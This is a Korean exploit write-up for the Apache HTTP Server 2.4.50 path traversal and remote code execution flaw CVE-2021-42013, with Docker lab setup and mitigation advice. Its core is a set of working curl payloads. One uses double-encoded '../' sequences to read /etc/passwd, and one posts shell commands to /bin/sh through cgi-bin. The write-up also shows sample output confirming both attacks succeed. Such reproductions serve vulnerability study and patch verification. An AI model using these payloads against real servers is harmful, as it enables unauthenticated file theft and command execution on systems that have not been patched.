Exploit for Path Traversal in Apache Http_Server CVE-2021-41773 CVE-2021-42013

## https://sploitus.com/exploit?id=8AF22FB3-A28B-5CF5-9FD3-D471384930F2
# CVE-2021-42013 - Apache HTTP Server 2.4.50 경로 조작 RCE

> 작성: eunho87  
> 날짜: 2024년  
> CVSS Score: 9.8 (Critical)

## 요약

Apache HTTP Server 2.4.50에서 URL 경로 정규화 처리 오류로 인해 **인증 없이** 임의 파일을 읽거나 원격 코드를 실행할 수 있는 취약점입니다. 이는 CVE-2021-41773의 불완전한 패치로 인해 발생했으며, **이중 URL 인코딩(`%%32%65`)**으로 경로 검사를 우회합니다.

- **영향**: Apache 2.4.49~2.4.50
- **인증**: 불필요 (Pre-auth RCE)
- **CVSS**: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **완전 패치**: 2.4.51 이상

---

## 취약점 상세 분석

### 발생 원인
Apache 2.4.49에서 경로 정규화 코드 리팩터링 중 `../` 필터링 우회 버그(41773) 발생  
→ 2.4.50에서 단일 인코딩(`.%2e`)만 차단했으나  
→ **이중 인코딩(`%%32%65`)으로 재우회 가능** (42013)

### 공격 원리
```
1차 디코딩: %%32%65 → %2e (검사 통과)
2차 디코딩: %2e → .   (.. 완성 → 탈출)
```

### 취약 조건
1. `LoadModule cgid_module` 활성화 (RCE용)
2. ``에서 `Require all granted` (파일 접근 허용)
3. `Alias` 또는 `ScriptAlias` 경로 존재

---

## PoC 코드

### 파일 읽기 (정보 유출)
```bash
curl -s --path-as-is \
  "http://target:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
```

### 원격 코드 실행 (RCE)
```bash
curl -s --path-as-is -X POST \
  --data 'echo Content-Type: text/plain; echo; id; uname -a' \
  "http://target:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
```

---

## 환경 구성 및 실행

### 1. 환경 기동
```bash
git clone https://github.com/eunho87/CVE-2021-42013.git
cd CVE-2021-42013
docker compose up -d
```

### 2. 컨테이너 확인
```bash
docker compose ps
# cve-2021-42013 이 Up 상태 확인 (포트 8080)
```

### 3. 자동 검증 (권장)
```bash
python3 poc.py
```

**출력 예시:**
```
[*] 대상 서버(2.4.50): localhost:8080

[PASS] A. 이중인코딩(CVE-2021-42013) 파일읽기 성공
       HTTP 200, 첫 줄: root:x:0:0:root:/root:/bin/bash
[PASS] B. 이중인코딩(CVE-2021-42013) 원격코드실행 성공
       uid=1(daemon) gid=1(daemon) groups=1(daemon) | Linux ... x86_64 GNU/Linux

[+] 전체 통과
```

### 4. 수동 확인
```bash
bash poc.sh
```

### 5. 정리
```bash
docker compose down
```

---

## 실행 결과

### 파일 읽기 성공
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

### 원격 코드 실행 성공
```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux 2dcf96c97a40 6.6.114.1-microsoft-standard-WSL2 x86_64 GNU/Linux
```

---

## 평가

| 항목 | 점수 |
|---|---|
| **Reproducibility** | 95% |
| **Risk Score** | 9.8/10.0 |

**이유:**
- 공식 이미지 태그 고정(2.4.50) → 버전 드리프트 없음
- 순수 표준 라이브러리 PoC (`http.client`, `curl`) → 외부 의존성 0
- 모든 파일 UTF-8 인코딩 → 인코딩 오류 없음
- as-submitted 재현성 100% 검증 완료

---

## 대응 방안

| 조치 | 설명 |
|---|---|
| **업그레이드** | Apache 2.4.51 이상으로 즉시 업데이트 |
| **설정 완화** | ``에 `Require all denied` 유지 |
| **공격면 축소** | 불필요한 `mod_cgi` 비활성화 |
| **탐지** | 로그에서 `%%32%65`, `%2e` 패턴 모니터링 |

---

## 참고

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-42013
- Apache 보안 공지: https://httpd.apache.org/security/vulnerabilities_24.html
- CVE-2021-41773: https://nvd.nist.gov/vuln/detail/CVE-2021-41773